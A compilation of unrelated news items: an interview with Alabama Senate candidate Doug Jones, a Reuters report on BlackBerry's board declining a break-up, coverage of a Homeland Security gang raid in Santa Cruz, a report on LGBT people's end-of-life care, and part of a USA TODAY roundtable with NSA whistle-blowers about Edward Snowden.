cycle, but I can tell you this: We’re getting a hell of a lot of traction in this state. On that float today, in Mobile, one of the most conservative cities in this state, to see the number of people of all races and all ages giving me the thumbs up and saying, "Go for it, I’m voting to you, I’m for you, go for it." You would see we have traction.  How much is Roy Moore an advantage for you?  I think it is an advantage, I’d be silly to say he wasn’t. The contrast between Roy Moore and myself couldn’t be greater in terms of working with people. My history has been one of reaching across political aisles, but also to try to help all people, treat them with dignity, respect, try to make sure all people are treated equally in the eyes of the law. And that has not been his history. It’s been just the opposite. If you’re not part of that class of people that Roy Moore is OK with, then you’re just a second-class citizen—you don’t have certain rights, your conduct may be considered illegal, all of those issues. He is a divider, and has been a divider. Now he’s got his supporters and I get that and understand that, but I just think that’s not who the people of Alabama are.  How can you reassure his supporters that you are not out to take away their religious freedom or their guns, their culture?  I don’t know if I can. I think actions have to speak louder than words, so once I get elected I can try to do it. But look, when you talk about their Christian beliefs and stuff, that’s one thing, but when you talk about their culture, I’m not sure what you mean by that. If culture means that you have to put down people, if your culture means that you would discriminate against somebody, that you would not treat anybody in the same way that Christ would do, then I’m not going to protect that. I’m not going to protect discrimination of any sort, in any way, whether it’s race, religion, sex orientation or whatever. So I’m not going to protect that culture if that’s what their culture is. What I’m hoping to see is that if they are truly religious and they are truly Christian in the same way that I am, that my faith is, well, we take care of everybody. I’ve always believed the culture of the South, the heritage of the South, is of people treating people like friends, of neighbours helping neighbours. You know, when a tornado comes through Tuscaloosa or Hackleburg, or you have a hurricane comes up the Gulf Coast, we don’t start running around asking people who they are or who their fathers are.  Do you think the Democratic Party has nonetheless been tin-eared or unresponsive to voters’ cultural concerns?  I don’t know if they’ve been unresponsive. Again, if their culture is such that it’s a discriminatory culture, if that’s what you mean, if that’s what they do, then I don’t think the Democratic Party or the Republican Party should respond to that  Then the trick is to find a way to appeal to that culture without being discriminatory?  Either appeal to them or just hopefully once you get elected, you can talk to them and you can say look, I’m not going to infringe on that, if you want to believe what you believe, that’s fine, but let’s talk about your health care, let’s talk about jobs, let’s talk about the economy. You and I may never agree on whether it’s OK to discriminate against Muslims, but let’s talk about your health care. I want your kids to get educated, I want you to have a good job, I want you to have adequate health care. So let’s talk about those issues and let’s find the issues that we can find common ground on.  How much of an advantage or disadvantage for you is the Post story?  I don’t have a crystal ball, I have no idea. You know, we’re going to stay in our lane. We have these issues which we believe were gathering steam, that we have the wind at our back on anyway. So I don’t have a clue. All that I know is these are very serious issues he has to answer to the people of Alabama on. We’re going to talk about the issues. It’s all about the people of this state.  But you are also talking about him…  I was talking about him on his issue concerning the moral foundation of law, and on the fact that the people of Alabama elected him twice and on both occasions he was removed from office. I think those are serious, serious issues. And I think the people of Alabama need to understand that. I’ve always said that if you look at his history, it’s all about him and not about the people of the state. I think that that is fair game. This [The Post story] goes beyond that. So we are going to stay in our lane.  You’re not going to talk about this?  No reason to. He will have to answer to the people of the state, not me.  But would you say it frames the choice between you as a moral one?  I’m not going to characterise it as that. I’ve never characterised a political race as framing a moral choice. I think you look at everybody’s record and at the facts and you make a decision on what you believe should be in the best interests of the state. Who do I think can best represent me? Who do I think can best represent the people of this state to try to attract jobs and bring in business? Those are the issues. I don’t put that on a moral plane. Somebody else might.  Why are you a Democrat?  I go way back, I see the Democratic Party in a historical light. I see the Democratic Party of Franklin D. Roosevelt, that brought us out of the Depression and gave us social security. I see it in Harry Truman, I see it in John F. Kennedy, and Lyndon Johnson who gave us Medicaid and Medicare, the Civil Rights Act, the Voting Rights Act. I’ve seen the party always for being for folks who are hardworking, trying to keep their families safe, trying to provide for their families, and I think that is traditionally what the party has always been. And do it fairly, and across the board, and not treat people in discriminatory ways.  Your grandfather was a coal miner I think?  One was a coal miner, a union organiser, the other was a steel worker.  So they were Democrats?  Yes.  And they stuck with the party?  My grandad who was the steel worker died in 1969. My dad, who was also a steel worker, has gone both ways. You’ve got to remember that when I was a kid everybody was a Democrat. So it’s fair to say they were Democrats in part because of Roosevelt and because of Truman, but as things started to shift, my Dad would say I’m going to vote for a person not a party. So he always did that, he always split his vote.  Have you voted Republican?  One time, I voted for Richard Nixon, my very first vote. Oh God, I‘ve regretted it ever since.  Would you welcome national Democratic leaders who want to campaign with you?  Well, we’re not asking for a whole lot of stuff.  You’ve had Joe Biden down here…  Well, Joe and I have been friends for a long time, we’ve been friends since my days in law school. He’s always said, "Doug, if you want to do something, let me know." He was funny, he said, "Let me know and I’ll either come and campaign for you or against you, whatever will help you."  I wanted him to come down because Joe’s history is also that working-class history. So, we’ll see, today we’ve got Congressman John Lewis coming down, one of my heroes. He’s been a friend since I met him following the church bombing cases. So we’ll have a few things like that coming in. But at the end of the day, it’s all going to be about issues that people in the state care about. You know, that’s what I believe, people are truly setting some reset buttons.  Would you welcome Barack Obama if he offered to come?  You know, we’re not seeking anybody, haven’t talked to anybody like that. I don’t know.  Bill Clinton?  I’m not sure. What we want to do is this, we want to run our race, if people fit into that race, then absolutely. Why…  Why am I asking the question? I’m asking because I’m interested in whether it’s possible to separate your candidacy from the brand of the Democratic Party which is not strong in Alabama.  It doesn’t matter. It doesn’t really matter. Only the people in the media are asking me those questions. There’s nobody in Alabama asking me, "Are you going to bring in so and so? Are you going to stay away from this or that?" The people I’m talking to in Alabama are saying, "What are you going to do for my health care? What are you going to do about this?" They’re not trying to get into my head about the campaign and how we’re going to strategise the campaign. They want to know what we have to say about the issues. There may be people that are specific experts on issues that I might reach out to, to say, "Hey, you’re the expert on this…" But don’t ask me the follow-up, because that just came out, I don’t have anybody in mind. We want to make sure this is an Alabama-based race. We have a national party, we’re a part of the Democratic Party, I understand that and it cuts both ways, because at the end of the day there are still a lot of Democrats in this state. There’s a lot of people in this state fed up with the Republican Party, because if you ask people in this state about the Republican Party. They’ll say, "Which part? The Steve Bannon part or do you mean a more moderate part?" So I don’t think anyone wants to nationalise the race much, because it’s an Alabama race.  Just going back to your family briefly, you said your grandfathers were Democrats…  I would say they voted Democrat. They were never active politically, they were voters.  Sure, but then, your cousins and wider family? Most of them have become Republicans I suppose?  Most of them, I would assume. Most everybody voted Republican more than they voted Democrat in the last few years.  Do you think that helps you get across the aisle, get in the mind of conservative Republicans?  Look, I’m not trying to get in the mind of conservative Republicans, I’m not trying to get in the minds of anybody. I’m running this race based on my personal belief system, it’s what I think is also consistent with what deep down a lot of people in the state also believe. If it reaches people, fine. If it doesn’t reach certain people, what I hope to say is, Look, we’re not going to agree on every issue… That’s the other thing I think: politicians in this country try to be all things to all people, say diff things to different groups in order to try to reach those groups. We’re not doing that. We’re saying, this is our message, and at the end of the day, we’re not going to agree with people on everything. I’m just not going to agree with everyone on every issue. But what I want to do is this, I want to sit down and talk about these issues, and we will find common ground.  You mean on health care and jobs?  Health care, jobs, education, you name it, we will find common ground. And if we can’t find common ground, let’s just agree to disagree and move on to some other thing that we can find common ground on. I don’t think you have enough public officials or politicians that take that approach and I’m pretty tired of listening to people that tell me it’s their way or the highway. I think that’s a problem with both political parties these days.  You say you don’t need everyone to agree with you on everything. It’s in fact pretty striking that you’ve stuck to your guns on some issues, choice say. Was that much of a decision for you?  No  Why not? It’s poison isn’t it? Campaigning in Alabama as a pro-choice Democrat?  No, it’s absolutely not. I absolutely do not believe it is. At the end of the day, my position, which has been consistent with the law for decades is what deep-down most people believe. So I don’t think it is. But regardless—when my wife and I first talked about this race, we said the one thing we did not want to do is move the needle on positions based on polls or whatever. People need to be transparent, people need to be authentic. There’s not enough authenticity in our political leaders these days. And that’s the one thing I’ve always prided myself on being. We can agree to disagree, but what you see is what you get. And I’ll give my point, but what I’m also going to do is say, "We may not be able to agree on that issue, I know you have beliefs on that issues and I respect those beliefs, but let’s talk about something else, let’s move on from that for a minute and let’s talk about your health care."  But that’s not all you’re saying is it? Your prosecution of the abysmal Klan case, that is your USP with the black community, so that’s what you’re going to talk about with it…  I’m running ads on it in the white community, too. I said the same thing in Fyffe, Alabama, where there were just 350 people up there and only a handful of black folks. I’m proud of that. I’m proud for the state of Alabama that were able to do that, because at the end of the day, it was not Doug Jones who convicted those guys, it was a jury of black and white, young and old, male and female that did the actual convictions. So our messages are the same. There are always local issues. But, by and large, my platform is the same, and the church bombings case is part of it, because for someone to be able to do that 37, 38 years out of the chute, it takes a lot of passion, just hard work and things coming together for you, and I’m proud of that, and I want people to know about that, and I want people to know this too: It was a damn good thing for the state of Alabama that we were able to convict those guys, because I travel all over the country and this is what I hear. It was good for the state and good for business in the state that we could show we were excising some of the demons we’ve had here.  Thank you very much.  Thank you. I enjoyed it.
-NEW YORK/TORONTO (Reuters) - BlackBerry Ltd’s board does not believe a break-up of the Canadian smartphone maker is currently in its best interests, even though Microsoft Corp, Apple Inc and Lenovo Group Ltd, among others, have expressed interest in acquiring parts of the company, according to people familiar with the discussions.  A sign is seen at the Blackberry campus in Waterloo, September 23, 2013. REUTERS/Mark Blinch  The board rejected proposals from several technology companies for various BlackBerry assets on grounds that a break-up did not serve the interest of all stakeholders, which include employees, customers and suppliers in addition to shareholders, said the sources, who did not want to be identified as the discussions were confidential.  Microsoft and Apple had both expressed interest in BlackBerry’s intellectual property and patents, a source briefed on the matter told Reuters. In 2011, the three companies had teamed up with others to buy patents from bankrupt Canadian telecoms company Nortel.  BlackBerry had also held discussions with Cisco Systems Inc, Google Inc and Chinese computer maker Lenovo, among others, about selling all, or parts of itself, Reuters previously reported.  A BlackBerry spokeswoman declined to comment on the board’s deliberations, and it is not known what specific proposals were rejected by directors during the company’s three-month-long review of strategic options. Microsoft, Apple and the other tech companies have all declined to comment on the matter.  BlackBerry stunned investors on Monday by abandoning plans to sell itself, naming a new interim chief executive, and announcing an $1 billion convertible notes issue to a group of investors including its largest shareholder Fairfax Financial Holdings, Canso Investment Counsel, Mackenzie Financial, Markel Corp, Qatar Holding and Brookfield Asset Management.  BlackBerry shares fell 16 percent on the news as investors fretted the company may have missed an opportunity to deliver shareholder value.  But the board felt the notes issue offered BlackBerry the most near-term certainty and the best chance for a turnaround, said the people familiar with the discussions. Most alternative proposals would have broken up the Waterloo, Ontario-based company, which was not in the best interests of all stakeholders, they added.  One of the sources said the board also took into consideration the current cost of the break-up. Winding down some of BlackBerry’s businesses would have created liabilities, including in its commitments with suppliers, and would have weighed on the monetization of the company’s intellectual property, the source said.  BlackBerry’s assets range from devices and network assets to software and patents. Some of these assets are so intertwined they could lose value in a company break-up, another source added.  The board was also concerned that any deal involving foreign companies would be closely scrutinized by the Canadian government in an extended review process, the sources said, prolonging uncertainty and making it harder for BlackBerry to stem customer losses.  Last month, Canada blocked an Egyptian telecommunication entrepreneur’s bid to acquire the Allstream fiber optic network owned by Manitoba Telecom Services, citing unspecified security concerns.  The sources stressed the board’s decision not to break up BlackBerry reflected the current situation and did not preclude a future split. But future proposals will likely be measured by a similar yardstick.  A landmark Supreme Court of Canada ruling in the BCE case in 2008 said a Canadian company’s board needs to consider the interests of all stakeholders, not just shareholders, when it decides on a deal. Stakeholders can include employees, customers, suppliers and the wider community.  In 2007, telecoms company BCE Inc agreed to a leveraged buyout that offered its shareholders a substantial premium, but the deal hurt the company’s bond prices, and its debt holders challenged the deal in court.  While the deal eventually fell apart for other reasons, the Supreme Court ruled that a company’s board has to take into consideration the interests of all stakeholders and not just its investors, when deciding on the merits of a deal.  Towards the end of BlackBerry’s review of strategic alternatives, a consortium comprised of BlackBerry founders Mike Lazaridis and Douglas Fregin, Cerberus Capital Management LP and mobile chip giant Qualcomm had expressed interest in the company.  BlackBerry’s board dismissed that proposal as too tentative since it lacked committed financing, sources familiar with the matter said, adding that this does not mean that the board is closed to entertaining proposals in the future.
-Hide Transcript Show Transcript  WEBVTT ERIN: ON THE CRIME WATCH,HELICOPTERS, EXPLOSIONS MAKINGFOR A NOISY MORNING IN ANDAROUND SANTA CRUZ AS THEDEPARTMENT OF HOMELAND SECURITYAND SANTA CRUZ POLICE MOVED INON A VIOLENT SALVADORAN GANG ANDARRESTED TEN PEOPLE.WE GET THE LATEST FROM PHILGOMEZ, WHO IS LIVE IN SANTACRUZ.>> POLICE TELL ME THIS WAS ANOPERATION THAT HAS BEEN IN THEPLANNING STAGES FOR FIVE YEARS.THE TWELVE PEOPLE ARRESTED AREACCUSED OF EXTORTION, DEALINGDRUGS AND MURDER.>> NO, I DID NOT SEE ANYTHING,BECAUSE THERE WAS AN ASSAULTRIFLE POINTED AT MY FACE.>> THIS IS ONE OF 12 POINTSSECURITY SLEPT THROUGH IN APREDAWN RAID.>> WE HEARD A LOT OF BIG BOOMSAND BANGS.>> LAW ENFORCEMENT WEREN'TTAKING ANY RISKS.THEY SWOOPED IN WITH HELICOPTERSAND ARMORED VEHICLES.X WE BELIEVE THIS GANG ISINVOLVED IN SHOOTINGS ANDMURDERS THAT HAVE OCCURREDDIRECTLY IN THE CITY OF SANTACRUZ.>> FEDERAL AT TORIES ENTEREDTHIS HOUSE IN THE BEACH FLATSNEIGHBORHOOD.THEY WERE LOOKING FOR HISSON-IN-LAW WHO NO LONGER LIVESAT THIS ADDRESS BUT HE WAS ASKEDHIS LEGAL STATUS.HE DID NOT WANT HIS IDENTITYREVEALED FOR FEAR OFRETALIATION.>> ONE OF THE OFFICERS SPOKESPANISH.HE GAVE HIM INFORMATION.ONE OF THE OTHER OFFICERS SAIDHE IS ILLEGAL.HE SAID NO, HE IS A RESIDENT.THEY LOOKED AT HIS PAPERS.HE IS A RESIDENT.THEY VERIFIED ALL HISINFORMATION.>> CITY LEADERS TELL ACTION NEWSTHIS INVESTIGATION BEGAN FIVEYEARS AGO, UNDER THE OBAMAADMINISTRATION AND ARE VERYAWARE OF THE COMMUNITY'SCONCERNS.SIMILAR RAIDS WERE GOING ONSIMULANEOUSLY IN OTHER COUNTIESAND ACTIONS IN SANTA CRUZ WERETAKEN TO ENSURE THE PUBLIC WASKEPT SAFE DURING THE ARRESTS>> AGAIN, THERE WAS NOCONNECTION TO IMMIGRATION, NOCONNECTION TO WHAT HAS HAPPENEDIN L.A. AND OTHER CITIES IN THESTATE OF CALIFORNIA.OF COURSE, THE TIMING MAKES THEMLOOK SIMILAR.BUT THE DEPARTMENT OF HOMELANDSECURITY SEES THIS GANG AS ATERRORIST ORGANIZATION, AND THATIS WHY THEY ARE INVOLVED.>> AT THE END OF THE DAY, 12PEOPLE WERE ARRESTED.LAW ENFORCEMENT WOULD NOTPROVIDE FURTHER INFORMATIONWHILE THE INVESTIGATIONCONTINUES.>> SANTA CRUZ POLICE POINTED OUTTHAT NO ONE WAS INJURED ANDEVERYONE WHO WAS DETAINED WHOWAS NOT INVOLVED IN CRIMINALACTIVITY HAS BEEN RELEASED.  Advertisement Homeland Security raids Santa Cruz, Live Oak homes in gang crackdown Share Shares Copy Link Copy  Department of Homeland Security federal agents and Santa Cruz Police Department officers raided homes in Santa Cruz, Live Oak, and Capitola at 4 a.m. Monday. The arrests stemmed from a five-year investigation into an El Salvadoran street gang, Mara Salvatrucha (MS-13), that has been operating locally, Deputy Santa Cruz Police Chief Dan Flippo said. Between 4 a.m. and 5 a.m., 12 men were arrested and a dozen neighborhoods were raided by SWAT teams. Homeland Security agents used armored vehicles to protect federal agents and police officers while making the high-risk arrests. One witness took a photograph of a black armored vehicle with the Santa Cruz Beach Boardwalk roller coaster in the background. The vehicle was marked with a Homeland Security Immigration and Customs Enforcement logo. "There have been choppers overhead for a couple of hours around midtown to Live Oak. Rumors that it's an early morning ICE raid. This is not what we want in our city," one witness told KSBW. Flippo told KSBW, "Let me be very clear -- this was in no way an immigration raid. We were focusing on a very violent gang that has been preying on our city streets for over a decade." FULL INTERVIEW: Deputy Chief Dan Flippo A nationwide immigration raid was conducted over the weekend in the U.S. by ICE agents, resulting in hundreds of arrests. President Donald Trump claimed credit for the nationwide raids, according to CNN. Flippo said, "I know the timing is a concern to the community. The Santa Cruz Police Department and City of Santa Cruz would not participate in any immigration raid what-so-ever." "Everyone we arrested is going to prison, not deportation," Flippo said. "The Santa Cruz Police Department is extrodinarily aware of the fear that exists in our community regarding immigration raids." READ MORE: Nationwide immigration raids result in hundreds of arrests Last month, the City Council and the County Board of Supervisors re-declared the city and county as "sanctuaries" for illegal immigrants. "This investigation into this very violent gang focused on the shootings, murders, extortion, and sales of both heroin and methamphetamine in our community," Flippo said. Ten of the 12 arrested men were identified Tuesday as: Velarmino Escobar-Ayala, aka Meduza; Tomas Rivera, aka Profugo; Ismael Alvarenga-Rivera, aka Casper; Willfredo Edgardo-Ayala, aka Chino; Jose David Abrego-Galdamez, aka Largo; Melvin Lopez, aka Sharky; Alexander Martinez-Flores, aka Pocar; Gerber Morales, aka Choco; Emilio Escobar-Albarnga, aka Diablo; and Josue Alcedis Escobar-Cerritos, aka Penguino. Residents told KSBW they were startled awake Monday by sounds of "explosions," from flash bang grenades, and propeller sounds from helicopters circling above. "We heard a lot of big booms and bangs," Live Oak resident Daniella Evangelista said. Another resident said, "Explosions (or) gunshots woke me around 4 a.m. I looked outside. SWAT teams with a Bearcat were swarming the complex across from my house. SWAT teams left Corcoran Avenue, then they were swarming a complex with guns drawn on 17th Avenue, between Capitola Road and Rodriguez Street. Whatever is going on seems pretty intense." Flippo said the helicopters served as aerial surveillance in case an armed suspect ran out of a house. "Diversionary devices" were deployed to "distract" men who agents were attempting to apprehend, he said. Firearms were seized from several homes. No injuries resulted from the raids. The 12 suspected gang members were booked into a San Jose jail and were indicted Monday afternoon on federal charges of conspiring to commit extortion by force and conspiring to engage in drug trafficking. The 12 are members of a violent local subset of MS-13, called Santa Cruz Salvatrucha Locos 13, federal officials said. Some are responsible for at least two murders in Santa Cruz, Flippo said. "This investigation was ramped up very recently based on the belief that there was a significant threat to public safety," the Santa Cruz Police Department said. Police are hopeful that the arrests dismantled the gang locally, and planned future acts of violence were thwarted.
-Signup to receive a daily roundup of the top LGBT+ news stories from around the world  The reality of healthcare for LGBT people is something rarely addressed. In their final years, assistance is needed but so often negative experiences come hand in hand with the need for help.  For Margaret, she says “being a lesbian made an already traumatic experience worse.”  67-year-old Margaret cared for her partner who suffered with dementia and cancer in her final years. Before her partner’s decline in health, Margaret could be private about her life but when her partner was place in a public ward she felt forced to repeatedly come out.  Many healthcare professionals considered her and her partner to be sisters, leading to Margaret feeling like she had to out herself when explaining her role of care. She struggled with the reality that LGBT people aren’t treated the same when it comes to health care.  Speaking as Marie Curie released a report into end-of-life care, she said: “In the hospital, they thought we were sisters. I was always aware of the way people might be reacting to the fact that we were lesbians and felt less comfortable in a public ward.  “Being lesbian made an already traumatic situation worse. I constantly felt in general like I always had to out myself to explain my role in her care.  “I didn’t have any choice who to tell that I was in a lesbian relationship. One of the interesting things was that in hospital –no one ever asked if we were legal partners. And as we had a civil partnership, I was legally her next of kin.  “Our life before this, you could be private about who you were, or you could choose who to tell; now the world and their mother knows you’re a lesbian.”  60-year-old Jonathan from Yorkshire looked after his partner when he was diagnosed with bowel cancer.  During an carer event at their local hospital, a support worker mistook Jonathan’s partner for his father. Jonathan felt like he had to come out multiple times a day “because most of the world is a heteronormative environment.”  After his partner passed away last year Jonathan sought out emotional help but was put off when an advocacy helpline receptionist was nonplussed when she realised Jonathan was gay.  He said: “On one occasion during a Carer’s Week event at the hospital we were approached by a support worker who assumed he was my father. He didn’t like that at all. He was a very private man and he would have preferred to have kept things to himself.  “I went to one of the bereavement groups at the hospice. It took a lot to get myself there, you can’t guarantee that people are not going to be discriminatory or dismissive. It took a lot to go. I felt I had to come out to the group though.  “I got in touch with an advocacy helpline, and the receptionist at the end of the phone was nonplussed when I said that I was gay. She assumed I was calling about my wife.  “I was trying to find any possible way of getting help and support but her reaction – well, it put me off in a way. It did make me want to just not pursue that particular avenue.”  Jonathan and Margaret are just two of the thousands of people who suffer discrimination in the healthcare system.  The Marie Curie study revealed that older LGBT people face difficulty in gaining access to vital health care.  Feeling forced to come out to carers is an added daunting pressure that many people in the community feel pushed into.  The survey polled 237 people and three-quarters of that sample were not confident that sensitive end-of-life care was being provided to them by heath and social care workers.  One in four said they had experienced discrimination from health and social care professionals at some point in their lifetime.  Writing for PinkNews, Stuart Andrew MP warned that many older people were effectively forced back in the closet at a traumatic time.  QI host and Marie Curie patron Sandi Toksvig said the report raised real issues for the sector.  She said: “For many of us who grew up in a time when being LGBT held a heavy stigma and could lead to exclusion, violence, and even arrest, ‘coming out’ to health and social care professionals is not an easy thing.  “Trans people in particular can find the prospect of finding a health and social care professional who respects their gender identity particularly daunting.  “For this reason, many older – and some younger – LGBT people delay accessing social care services, even when they have a terminal illness and are at their very sickest.  “Discrimination has no place in the NHS or social care services, but it is especially unwelcome when someone is at the end of life. This is a time when people should be able to be who they are, with the people that mean the most to them in their life.  “Prejudice and discrimination at the end of life have a devastating impact on LGBT people. At its very worst, it means someone will spend their last days feeling isolated, alone, angry and unwelcome.  “For those who lose a loved one, not being able to say goodbye in a respectful and peaceful environment can make grief and bereavement that much harder to bear.”  She added: “This report and others show that LGBT people still worry about experiencing discrimination from health and social care staff and often do also experience it.  “Many health and social care professionals say that they treat everyone the same. This is well-intentioned. However, as this report shows, sometimes for everyone to be equal, differences need to be acknowledged and given space to be celebrated.  “There is still a lot of work that needs to be done to make this a reality for all LGBT people at the end of life.”  “Everybody, regardless of who they are or their personal circumstances, has a right to high-quality care.”  Scott Sinclair, head of public affairs at Marie Curie UK, said: “Learning about the prejudice LGBT people experience as they are dying, when they are at their most vulnerable, is deeply saddening.”  He added: “No-one should have to hide who they are at the end of their lives. If LGBT people are not confident about services, or have experienced discrimination from healthcare providers in the past, they may not feel able to be open about themselves and the people who are important to them – factors that are all crucial to dying well.”  Hannah Kibirige, head of policy at Stonewall, said: “Often older LGBT people are extremely vulnerable, particular if in care or terminally ill, and so it’s vital that healthcare staff are aware of the experiences they face.  “We hope that the findings go on to effect practical and positive change for lesbian, gay, bi and trans people.”  If you are concerned about accessing appropriate palliative care for yourself, or a loved one, you can contact Marie Curie’s helpline for free, confidential information and support on 0800 090 2309 (Calls are free from landlines and mobiles)
-CLOSE Three former NSA whistle-blowers discuss the Edward Snowden case with USA TODAY reporters Susan Page and Peter Eisler.  In a roundtable discussion, a trio of former National Security Agency whistle-blowers tell USA TODAY that Edward Snowden succeeded where they failed.  NSA whistle-blowers, from left, Thomas Drake, J. Kirk Wiebe and William Binney. (Photo11: H. Darr Beiser, USA TODAY) Story Highlights Edward Snowden, 29, an NSA contractor, released a trove of classified information  He has been hiding in Hong Kong since the secret government spy program was detailed  3 NSA officials -- also whistle-blowers -- tell USA TODAY Snowden's claims vindicate them  When a National Security Agency contractor revealed top-secret details this month on the government's collection of Americans' phone and Internet records, one select group of intelligence veterans breathed a sigh of relief.  Thomas Drake, William Binney and J. Kirk Wiebe belong to a select fraternity: the NSA officials who paved the way.  For years, the three whistle-blowers had told anyone who would listen that the NSA collects huge swaths of communications data from U.S. citizens. They had spent decades in the top ranks of the agency, designing and managing the very data-collection systems they say have been turned against Americans. When they became convinced that fundamental constitutional rights were being violated, they complained first to their superiors, then to federal investigators, congressional oversight committees and, finally, to the news media.  To the intelligence community, the trio are villains who compromised what the government classifies as some of its most secret, crucial and successful initiatives. They have been investigated as criminals and forced to give up careers, reputations and friendships built over a lifetime.  Today, they feel vindicated.  They say the documents leaked by Edward Snowden, the 29-year-old former NSA contractor who worked as a systems administrator, proves their claims of sweeping government surveillance of millions of Americans not suspected of any wrongdoing. They say those revelations only hint at the programs' reach.  On Friday, USA TODAY brought Drake, Binney and Wiebe together for the first time since the story broke to discuss the NSA revelations. With their lawyer, Jesselyn Radack of the Government Accountability Project, they weighed their implications and their repercussions. They disputed the administration's claim of the impact of the disclosures on national security — and President Obama's argument that Congress and the courts are providing effective oversight.  And they have warnings for Snowden on what he should expect next.  CLOSE Three former NSA whistleblowers discuss what they were able to learn from the leaked document in the Edward Snowden case.  Q: Did Edward Snowden do the right thing in going public?  William Binney: We tried to stay for the better part of seven years inside the government trying to get the government to recognize the unconstitutional, illegal activity that they were doing and openly admit that and devise certain ways that would be constitutionally and legally acceptable to achieve the ends they were really after. And that just failed totally because no one in Congress or — we couldn't get anybody in the courts, and certainly the Department of Justice and inspector general's office didn't pay any attention to it. And all of the efforts we made just produced no change whatsoever. All it did was continue to get worse and expand.  Q: So Snowden did the right thing?  Binney: Yes, I think he did.  Q: You three wouldn't criticize him for going public from the start?  J. Kirk Wiebe: Correct.  Binney: In fact, I think he saw and read about what our experience was, and that was part of his decision-making.  Wiebe: We failed, yes.  Jesselyn Radack: Not only did they go through multiple and all the proper internal channels and they failed, but more than that, it was turned against them. ... The inspector general was the one who gave their names to the Justice Department for criminal prosecution under the Espionage Act. And they were all targets of a federal criminal investigation, and Tom ended up being prosecuted — and it was for blowing the whistle.  NSA whistle-blower William Binney. (Photo11: H. Darr Beiser, USA TODAY)  Q: There's a question being debated whether Snowden is a hero or a traitor.  Binney: Certainly he performed a really great public service to begin with by exposing these programs and making the government in a sense publicly accountable for what they're doing. At least now they are going to have some kind of open discussion like that.  But now he is starting to talk about things like the government hacking into China and all this kind of thing. He is going a little bit too far. I don't think he had access to that program. But somebody talked to him about it, and so he said, from what I have read, anyway, he said that somebody, a reliable source, told him that the U.S. government is hacking into all these countries. But that's not a public service, and now he is going a little beyond public service.  So he is transitioning from whistle-blower to a traitor.  Thomas Drake: He's an American who has been exposed to some incredible information regarding the deepest secrets of the United States government. And we are seeing the initial outlines and contours of a very systemic, very broad, a Leviathan surveillance state and much of it is in violation of the fundamental basis for our own country — in fact, the very reason we even had our own American Revolution. And the Fourth Amendment for all intents and purposes was revoked after 9/11. ...  He is by all definitions a classic whistle-blower and by all definitions he exposed information in the public interest. We're now finally having the debate that we've never had since 9/11.  Radack: "Hero or traitor?" was the original question. I don't like these labels, and they are putting people into categories of two extremes, villain or saint. ... By law, he fits the legal definition of a whistle-blower. He is someone who exposed broad waste, abuse and in his case illegality. ... And he also said he was making the disclosures for the public good and because he wanted to have a debate.  Q: James Clapper, the director of national intelligence, said Snowden's disclosures caused "huge, grave damage" to the United States. Do you agree?  Wiebe: No, I do not. I do not. You know, I've asked people: Do you generally believe there's government authorities collecting information about you on the Net or your phone? "Oh, of course." No one is surprised.  There's very little specificity in the slides that he made available (describing the PRISM surveillance program). There is far more specificity in the FISA court order that is bothersome.  Q: Did foreign governments, terrorist organizations, get information they didn't have already?  Binney: Ever since ... 1997-1998 ... those terrorists have known that we've been monitoring all of these communications all along. So they have already adjusted to the fact that we are doing that. So the fact that it is published in the U.S. news that we're doing that, has no effect on them whatsoever. They have already adjusted to that.  Radack: This comes up every time there's a leak. ... In Tom's case, Tom was accused of literally the blood of soldiers would be on his hands because he created damage. I think the exact words were, "When the NSA goes dark, soldiers die." And that had nothing to do with Tom's disclosure at all, but it was part of the fear mongering that generally goes with why we should keep these things secret.  Q: What did you learn from the document — the Verizon warrant issued by the Foreign Intelligence Surveillance Court — that Snowden leaked?  Drake: It's an extraordinary order. I mean, it's the first time we've publicly seen an actual, secret, surveillance-court order. I don't really want to call it "foreign intelligence" (court) anymore, because I think it's just become a surveillance court, OK? And we are all foreigners now. By virtue of that order, every single phone record that Verizon has is turned over each and every day to NSA.  There is no probable cause. There is no indication of any kind of counterterrorism investigation or operation. It's simply: "Give us the data." ...  There's really two other factors here in the order that you could get at. One is that the FBI requesting the data. And two, the order directs Verizon to pass all that data to NSA, not the FBI.  Binney: What it is really saying is the NSA becomes a processing service for the FBI to use to interrogate information directly. ... The implications are that everybody's privacy is violated, and it can retroactively analyze the activity of anybody in the country back almost 12 years.  Now, the other point that is important about that is the serial number of the order: 13-dash-80. That means it's the 80th order of the court in 2013. ... Those orders are issued every quarter, and this is the second quarter, so you have to divide 80 by two and you get 40.  The National Security Agency's data center in Bluffdale, Utah. Former NSA employees interviewed by USA TODAY offered insight on the recent leak of documents by Edward Snowden. (Photo11: Rick Bowmer, AP)  If you make the assumption that all those orders have to deal with companies and the turnover of material by those companies to the government, then there are at least 40 companies involved in that transfer of information. However, if Verizon, which is Order No. 80, and the first quarter got order No. 1 — then there can be as many as 79 companies involved.  So somewhere between 40 and 79 is the number of companies, Internet and telecom companies, that are participating in this data transfer in the NSA.  Radack: I consider this to be an unlawful order. While I am glad that we finally have something tangible to look at, this order came from the Foreign Intelligence Surveillance Court. They have no jurisdiction to authorize domestic-to-domestic surveillance.  Binney: Not surprised, but it's documentation that can't be refuted.  Wiebe: It's formal proof of our suspicions.  Q: Even given the senior positions that you all were in, you had never actually seen one of these?  Drake: They're incredibly secret. It's a very close hold. ... It's a secret court with a secret appeals court. They are just not widely distributed, even in the government.  Q: What was your first reaction when you saw it?  Binney: Mine was that it's documentary evidence of what we have been saying all along, so they couldn't deny it.  Drake: For me, it was material evidence of an institutional crime that we now claim is criminal.  Binney: Which is still criminal.  Wiebe: It's criminal.  NSA whistle-blower Thomas Drake. (Photo11: H. Darr Beiser, USA TODAY)  Q: Thomas Drake, you worked as a contractor for the NSA for about a decade before you went on staff there. Were you surprised that a 29-year-old contractor based in Hawaii was able to get access to the sort of information that he released?  Drake: It has nothing to do with being 29. It's just that we are in the Internet age and this is the digital age. So, so much of what we do both in private and in public goes across the Internet. Whether it's the public Internet or whether it's the dark side of the Internet today, it's all affected the same in terms of technology. ...  One of the critical roles in the systems is the system administrator. Someone has to maintain it. Someone has to keep it running. Someone has to maintain the contracts.  Binney: Part of his job as the system administrator, he was to maintain the system. Keep the databases running. Keep the communications working. Keep the programs that were interrogating them operating. So that meant he was like a super-user. He could go on the network or go into any file or any system and change it or add to it or whatever, just to make sure — because he would be responsible to get it back up and running if, in fact, it failed.  So that meant he had access to go in and put anything. That's why he said, I think, "I can even target the president or a judge." If he knew their phone numbers or attributes, he could insert them into the target list which would be distributed worldwide. And then it would be collected, yeah, that's right. As a super-user, he could do that.  CLOSE Three former whistle-blowers discuss whether Edward Snowden could tap the president's phone and about what it means to be a 